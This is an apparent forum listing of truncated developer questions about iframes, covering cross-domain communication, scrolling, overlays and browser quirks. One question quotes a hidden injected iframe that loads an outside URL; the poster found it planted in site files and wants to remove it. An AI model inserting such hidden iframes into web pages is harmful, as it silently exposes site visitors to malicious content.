iframe

How do I Scroll parent page to top when child page is click within iframe?

Hello, When someone clicks on a link within an iframe (child page), how do I get the parent page to scroll to the top? The issue is the child page will remain in the same spot of the page, because the iframe has a lot of height larger than the parent page. Please note: the parent and child pages are on different sub domains. I created...

Facebook publisher box with iframe?

I have a facebook iframe application. I wish to use the publisher box (http://wiki.developers.facebook.com/index.php/Publisher), that text box in the top of the screen where users can post and also click icons of added facebook apps. Is it possible to use this box in iframe apps, or only with fbml apps? ...

jQuery iframe overlay with flash closing issue

Hello, I have a site that has a jQuery overlay, which contains an iframe, which pulls in another site that has flash in it. One of the buttons in the flash has editable parameters in xml, and I can change where the link points to. I want this button to close the overlay, but I can't quite figure out how to get it to work. I have trie...

GMap in iframe gets off-center

I have a Google Map (API 2) that used to work fine as a standalone page. However, when I load the map page within an iframe (with Thickbox), the map gets off-center: normally it's centered over Germany and in the iframe it centers on Iran, instead. How to make the map center correctly? My guesses: The problem can result from the if...

location.hash in an iframe scrolls the parent window

Hi all. I have a page with an iframe. Inside the iframe is code (that I can't change) that sets location.hash to the id of an element in the iframe window. This has the unwanted effect of scrolling my outermost browser window so that the top of the window touches the top of the iframe. This is quite annoying as I have a toolbar above...

Fancybox iframe says that my YouTube href is undefined

Here is my HTML: <a class="video iframe" href="http://www.youtube.com/watch?v=Psk2Pq03rv0&amp;#38;fs=1"&gt;Arbitrary text</a> Here is the Fancybox javascript: <script type='text/javascript'> $(document).ready(function(){ $("a.video").fancybox({ 'href' : this.href.replace(new RegExp("watch\\?v=", "i"), 'v/'), 'type' :...

Single Quotes Iframe Virus

Hello, i am looking for a shell script to remove following code from multiple files: <iframe hbfww='BoGJMTtZ' src='http://getrelax4you.com/in.cgi?7 ' width='665' height='432' style='display:none'></iframe> I found scripts to remove iframes but they alle where for code with double quotes Like this one here: find -name "*.php" -exec ...

cross domains - tell parent frame to close an iframe

I have a script that will be loaded on a bunch of sites I don't control. My script needs to open up an iframe. The script and the iframe will be hosted on the same domain (which I control), but the parent pages won't be under my control. When the work in the iframe is done, I need to somehow tell my script in the parent page taht th...

XY position of text cursor/caret in an editable iframe on key events

Is there a cross browser way to find the XY coordinates of the caret (as opposed to the mouse position, which is provided by mouse events) in an editable iframe on key events? ...

Drag & drop across frames with jQuery UI

I would like to do this: Drag a DIV element from a first document that contains an IFRAME Drop this DIV element into into a second document, inside the IFRAME. Is there a way to use jQuery UI draggable & droppable to achieve this? or otherwise do this in a cross-browser way, possibly with another JS library? ...

IFrame scrollbar issue in IE7

I am working with an IFrame and I can't seem to figure out a way to disable only the horizontal scrollbar in IE7. I need the vertical scrollbar but I want to completely disable the horizonal bar. Check out the IFrame setup here: Iframe Example I have disabled horizonal scrolling in the other browsers using: overflow-x: hidden; overf...

Chrome Iframe display White Box

Aloha, currently my pligg template have following Iframe code : <iframe height="0px;" width="0px;" frameborder="0" name="story_status"></iframe> Its working fine on firefox, however on chrome, it display as white box.. after inspecting, <iframe height="0px;" width="0px;" frameborder="0" name="story_status"> <html><head></head><bo...

How to access properties of JS object in parent window from iFrame in IE7?

I have a JS Object called CoolThing that exists in the top window. I have an iFrame, same domain as top window, that needs to access a property, CoolProperty, in CoolThing. The javascript in the iFrame to access CoolProperty, which works perfectly in FF, webkit, and IE8, is: <script type="text/javascript" charset="utf-8"> with(windo...

Chrome only: AS2 ExternalInterface calls return null / cross-domain iframes

I'm using the cross-domain hack "marathon version" (explained here: http://softwareas.com/cross-domain-communication-with-iframes) to append a swf to a top-level window from within an iframe, as follows: Page on domain A hosts our javascript, on domain B, in an iframe. Our js on domain B creates a proxy iframe pointing to a file on...

can I listen to any cross-domain iframe events?

Are there any events that I can listen to on an iframe on a different domain? For example, have this page on domain1: <html> <body> <iframe src="domain2.com"></iframe> </body> </html> What events can I listen to with regard to the contentWindow of the iframe? Thanks! ...

getting xml cross site by using iframe

I am trying the above mentioned, like this: $.ajax({ type: 'GET', dataType: 'xml', url: $('#proxy').attr('src', 'http://192.168.0.106:8111/getconfiguration?'), success: function (xml) {//do stuff with xml And in the body...

Problems targeting link in flash to an iframe for firefox

I'll consider myself a newbie, I've made buttons in a flash menu to play animation and go to a url on click, and I've made it so that the url page loads in an iframe. Everything works fine on Safari, but it ends up loading the url page in a new tab for Firefox. If anyone has a solution, it'll be really appreciated. Thanks so much. He...

Displaying an MVC page inside a webform iFrame

Is there a way to open a MVC Page inside an iFrame of a webform? ...

Check if content is in an iframe?

How would I check if the page is being loaded in an iframe? Also, could I make a page change the main URL to its own from within an iframe? ...

Sinatra, progress bar in upload form

Hi! I'm developing a Sinatra app that consists of an upload form, with a progress bar indicating how much of the upload has completed. The process, as described by ryan dahl, is the following: HTTP upload progress bars are rather obfuscated- they typically involve a process running on the server keeping track of the size of the te...